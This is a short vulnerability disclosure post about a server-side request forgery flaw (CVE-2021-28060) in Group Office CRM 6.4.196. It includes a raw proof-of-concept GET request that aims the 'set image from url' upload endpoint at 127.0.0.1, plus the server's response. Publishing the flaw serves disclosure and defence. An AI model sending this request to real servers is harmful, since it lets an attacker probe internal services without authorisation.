

Group Office CRM | SSRF

Dec 9, 2020 by Fatih Çelik • Updated Apr 15, 2021 • 1 min read

Software: <https://sourceforge.net/projects/group-office/>

Version: 6.4.196

Vulnerability: SSRF

CVE: CVE-2021-28060

Description of the product:

Group Office is an open source groupware application. It makes your daily office tasks easier. Share projects, calendars, files and e-mail online. It is a complete solution for all your online office needs. From a customer phone call to a project and finally an invoice. The support system helps to keep your customers happy. Group Office is fast, secure and has privacy by design. You can stay in full control of your data by self hosting your cloud and e-mail. Our document editing solution keeps all data on the secured server instead of synchronising it to all user devices. GroupOffice is open source and modular. Which means it's easy to customise and extend. You can turn off and on features and it enables any developer to create new modules for the platform.

Description of the vulnerability

A Server-Side Request Forgery (SSRF) vulnerability in the "set image from url" allows a remote attacker to forge GET requests to arbitrary URLs.

Request

Raw Params Headers Hex

```
GET /group/api/upload.php?url=127.0.0.1:80&_dc=1607108674739&security_token=xcFW65rhXKBaZoy87Azm HTTP/1.1
Host: 192.168.1.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: */*
Accept-Language: tr
Accept-Encoding: gzip, deflate
Authorization: Bearer 5fca828019be1865786fbc9a829b4750c041d7e49cc0
X-Requested-With: XMLHttpRequest
DNT: 1
Connection: close
Referer: http://192.168.1.8/group/
Cookie: groupoffice=9b184597anr74bp636b41tg9n;
accessToken=5fca828019be1865786fbc9a829b4750c041d7e49cc0
```

Response

Raw Headers Hex

```
HTTP/1.1 201 Created
Date: Fri, 04 Dec 2020 19:09:11 GMT
Server: Apache/2.4.41 (Ubuntu)
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: default-src 'self' about:;font-src 'self' data:;script-src 'unsafe-eval' 'self' 'unsafe-inline';img-src 'self' about: data: http: https:;style-src 'self' 'unsafe-inline';frame-src 'self' https: http: groupoffice: groupoffices:;frame-ancestors 'self';
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000
X-XSS-Protection: 1;mode=block
Content-Length: 653
Connection: close
Content-Type: application/json; charset=UTF-8

{"metaData":{"modified":[""],"oldValues":[""],"validationErrors":{"":"","blobId":"null","title":"null","author":"null","description":"null","keywords":"null","copyright":"null","uri":"null","creator":"null","date":"null","encoding":"null","thumbnail":"null","data1":"null","data2":"null","data3":"null","data4":"null","data5":"null","data6":"null","data7":"null","data8":"null"},"permissionLevel":"5.0","id":"07993837ce7f0273a65b20db8ee9b24823da7e1e","type":"text/html","name":"unknown","size":10918,"modifiedAt":"2020-12-04T19:09:11+00:00","createdAt":"2020-12-04T19:05:18+00:00","staleAt":"2020-12-04T20:05:18+00:00","blobId":"07993837ce7f0273a65b20db8ee9b24823da7e1e"}}
```

🔗 [Vulnerability Research](#)

🔗 [vulnerability research](#)

This post is licensed under [CC BY 4.0](#) by the author.

Share: [🐦](#) [📘](#) [🔗](#) [🌐](#)

Further Reading

Sep 29, 2020

[CMSUno 1.6.2 | RCE \[Authenticated\] \(config.php\) | CVE-2020-25538](#)

Vendor: <https://github.com/boiteasite/cmsuno/> Version: 1.6.2 Vulnerability: Code Injection CVE: CVE-2020-25538 Exploit DB: <https://www.exploit-db.com/exploits/48996> Analysis When I read the

Sep 29, 2020

[CMSUno 1.6.2 | RCE \[Authenticated\] \(password.php\) | CVE-2020-25557](#)

Vendor: <https://github.com/boiteasite/cmsuno/> Version: 1.6.2 Vulnerability: Code Injection CVE: CVE-2020-25557 Exploit DB: <https://www.exploit-db.com/exploits/49031> Analysis If you read my other

Oct 5, 2020

[Sentrifugo 3.2 | RCE \[Authenticated\] \(announcements\) | CVE-2020-26804](#)

Software: <https://sourceforge.net/projects/sentrifugo/> Version: 3.2 Vulnerability: Unrestricted File Upload CVE: CVE-2020-26804 Exploit DB: <https://www.exploit-db.com/exploits/48998> Sentrifugo

OLDER

[Sentrifugo 3.2 | SQLi \(employeeNumId\) parameter | CVE-2020-26805](#)

NEWER

[Group Office CRM | Stored XSS via SVG File](#)